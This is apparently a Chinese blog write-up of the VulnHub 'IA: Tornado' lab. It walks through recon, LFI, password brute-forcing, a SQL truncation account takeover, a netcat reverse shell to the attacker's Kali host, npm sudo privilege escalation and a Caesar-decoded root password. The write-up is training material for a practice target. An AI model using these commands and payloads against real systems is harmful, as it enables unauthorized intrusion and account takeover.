渗透练习 Vulnhub靶场 Tornado

No.27 Tornado

靶机信息

下载地址:

https://www.vulnhub.com/entry/ia-tornado,639/

靶场: VulnHub.com

靶机名称: IA: Tornado

难度: 中等

发布时间: 2020年12月20日

提示信息:

目标: user.txt和root.txt

实验环境

攻击机:VMware	kali	192.168.7.3

靶机:Vbox		linux	IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

image-20220210213917794

扫描到主机地址为192.168.7.164

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 192.168.7.164 -oN Tornado.nmap

image-20220210214040170

扫描到2个开放端口,22(SSH)和80(HTTP)服务,先从80开始

Web渗透

访问80端口

http://192.168.7.164

image-20220210214215833

打开后是apache2的默认页面,做个目录扫描

目录扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.7.164 -x php,html,txt,zip

image-20220210214627311

扫到一个目录,打开看看

http://192.168.7.164/bluesky

image-20220210214738220

打开后是一个正常的页面,未找到敏感信息,对bluesky目录再做个扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.7.164/bluesky -x php,html,txt,zip

image-20220210215349342

扫描到多个可疑页面,contact.php、prot.php还有一个注册页面signup.php,我们先去注册个帐号

http://192.168.7.164/bluesky/signup.php

image-20220210215522912

注册个帐号hh@hh.com密码123123,去登录

http://192.168.7.164/bluesky/login.php

image-20220210215654391

访问contact.php页面

http://192.168.7.164/bluesky/contact.php

image-20220210215818360

提示评论功能已关闭,再看看port.php页面

http://192.168.7.164/bluesky/port.php

image-20220210215930917

提示“LFI(本地文件包含)漏洞已修复,不要忘记再次测试”,应该是要我们测试文件包含漏洞,打开源文件发现一些提示

image-20220210220136297

在165行给了我们一个文件地址/home/tornado/imp.txt

先作个模糊测试,检测文件包含的参数是什么。

我对全部的页面做了FUZZ模糊测试都没成功,到目前已经走不下去了,因此我破解了服务器root密码登录到主机中查看

在/etc/apache2/apache2.conf文件中找到Alias /~tornado/ “/home/tornado/”

image-20220211043308603

这里确实是一个LFI漏洞,但是不在任何页面中,这个漏洞是由于服务器的配置别名造成的,如何发现此漏洞有知道的大佬还请告知

image-20220211003020367

下载imp.txt文件

wget http://192.168.7.164/~tornado/imp.txt
cat imp.txt

image-20220211004019445

拿到一些用户名,但是没有密码无法登录到web,暴破试试

我在手动测试时发现邮箱号输不全,查看源码后发现输入框限制了长度

image-20220211004348733

手动把13改大一些即可,修改后可以完整输入帐号了

image-20220211010159034

但是为什么限制13,我查了一下,这里有3个帐号是13位的,是不是这3个才是正确的帐号

image-20220211010324547

随后对这三个帐号进行密码暴破

Web密码暴破

设置攻击类型为集束炸弹(Clusterbomb),并将uname和upass设置为payload变量

image-20220211010526410

payload1设置为3个用户名

image-20220211010723552

payload2我使用了/usr/share/wordlists/rockyou.txt字典

image-20220211011421779

成功暴破出admin@tornado用户的密码(密码竟然有多个,每个都能登录)

image-20220211011856901

登录后没什么用,和手动注册的用户一样没有更多的提示

image-20220211012056680

admin@帐号可以暴出这么多密码,为什么另外两个没有任何结果

当我找不到任何继续前进的路时,在注册页面注册了sales@tornado帐号

image-20220211012553996

欣喜之下用sales@tornado用户再去登录

image-20220211014151665

和admin@tornado结果一样,那现在还有一个用户jacob@tornado,如何才能拿到登录jacob@tornado帐号呢?admin@tornado帐号为什么有多个密码

SQL Truncation Attack(SQL 截断攻击)

​ 由于用户名位置作了限制联想到后台数据库同样做了限制再加上admin@tornado用户的多个密码联想到后台肯定有多个admin@tornado用户,两个条件加在一起可以猜测到就是SQL截断攻击后产生的多个admin@tornado用户

简介:

​ 当数据库由于长度限制而截断用户输入时,就会发生 SQL 截断漏洞。攻击者可以收集关键字段(例如用户名)长度的信息,并利用这些信息获得未经授权的访问。

让我们来测试一下,注册一个帐号先修改输入限制,填入用户名是jacob@tornado空格a,

image-20220211015321464

image-20220211015340646

注册成功,现在使用jacob@tornado用户以及注册用户时的密码登录

image-20220211021200203

image-20220211021226357

登陆成功并在contact.phpd页面下看到一个新功能 ,输入id命令返回了id,但是没有返回结果可能不回显

image-20220211022936927

试试反弹个shell行不行

反弹shell

kali攻击机监听端口4444

nc -lvvp 4444

image-20220211023239339

靶机上提交反弹payload

nc -e /bin/bash 192.168.7.3 4444

image-20220211023251985

image-20220211023315875

反弹成功,切换交互型shell找一下敏感信息吧

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

image-20220211023511883

ls
cat signup.php

image-20220211023655794

image-20220211023713261

数据库帐号root密码heheroot,切换root用户试试

image-20220211023803580

切换root用户失败,登录mysql看下admin@tornado帐号什么情况

image-20220211031654593

果然有多个一样的帐号,检查下哪里可以 提权

sudo -l

image-20220211023914158

找到可以用catchme用户身份执行npm

npm提权

需要准备两个文件,package.json和shell.sh

package.json文件内容,这个文件可以在攻击机上先写好,然后开启http服务,再用靶机将文件下载下来。也可以直接在靶机上创建,但是回显不太好。

{
  "name": "shell",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "shell": "./shell.sh"
  },
  "author": "",
  "license": "ISC"

}

shell.sh

echo "/bin/bash" >shell.sh

为shell.sh加上可执行权限

chmod +x shell.sh

执行payload

sudo -u catchme npm run shell

image-20220211032712156

提权成功,进入用户目录找到user.txt

cd /home/catchme
ls -all
cat user.txt

image-20220211032901082

catchme目录下有个enc.py文件,查看一下内容

cat enc.py

image-20220211034347272

有段加密的字符串,这是凯撒加密后的内容,我们通过python脚本来解密

decode.py

import string
alphabet = string.ascii_lowercase
encrypted = "hcjqnnsotrrwnqc"
enc_len = len(encrypted)
for i in range(40):
    plain_text = ""
    for c in encrypted:
        if c.islower():
            c_unicode = ord(c)
            c_index = ord(c) - ord("a")
            new_index = (c_index - i) % 26
            new_unicode = new_index + ord("a")
            new_character = chr(new_unicode)
            plain_text = plain_text + new_character
        else:
            plain_text += c
    print(f"ID:{i} : {plain_text}")
python3 decode.py

拿到解密后的内容,这里有0-39共40组密码其中ID:25(idkrootpussxord)可读性比较像是密码,拿来切换root用户试试

ID:0 : hcjqnnsotrrwnqc
ID:1 : gbipmmrnsqqvmpb
ID:2 : fahollqmrppuloa
ID:3 : ezgnkkplqootknz
ID:4 : dyfmjjokpnnsjmy
ID:5 : cxeliinjommrilx
ID:6 : bwdkhhminllqhkw
ID:7 : avcjgglhmkkpgjv
ID:8 : zubiffkgljjofiu
ID:9 : ytaheejfkiineht
ID:10 : xszgddiejhhmdgs
ID:11 : wryfcchdigglcfr
ID:12 : vqxebbgchffkbeq
ID:13 : upwdaafbgeejadp
ID:14 : tovczzeafddizco
ID:15 : snubyydzecchybn
ID:16 : rmtaxxcydbbgxam
ID:17 : qlszwwbxcaafwzl
ID:18 : pkryvvawbzzevyk
ID:19 : ojqxuuzvayyduxj
ID:20 : nipwttyuzxxctwi
ID:21 : mhovssxtywwbsvh
ID:22 : lgnurrwsxvvarug
ID:23 : kfmtqqvrwuuzqtf
ID:24 : jelsppuqvttypse
ID:25 : idkrootpussxord
ID:26 : hcjqnnsotrrwnqc
ID:27 : gbipmmrnsqqvmpb
ID:28 : fahollqmrppuloa
ID:29 : ezgnkkplqootknz
ID:30 : dyfmjjokpnnsjmy
ID:31 : cxeliinjommrilx
ID:32 : bwdkhhminllqhkw
ID:33 : avcjgglhmkkpgjv
ID:34 : zubiffkgljjofiu
ID:35 : ytaheejfkiineht
ID:36 : xszgddiejhhmdgs
ID:37 : wryfcchdigglcfr
ID:38 : vqxebbgchffkbeq
ID:39 : upwdaafbgeejadp

切换root用户

su root
输入密码idkrootpussxord

image-20220211042511312

登陆失败,仔细看这个字符串有三部分组成

idk
root
pussxord

把这里的pussxord替换成password切换成功

idkrootpassword

image-20220211042720369

查看root.txt

cd /root
ls
cat root.txt

image-20220211042802346

拿到root.txt游戏结束。喜欢打靶的小伙伴可以微信搜索“伏波路上学安全”公众号、或扫描下方二维码关注获取更多打靶文章。
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值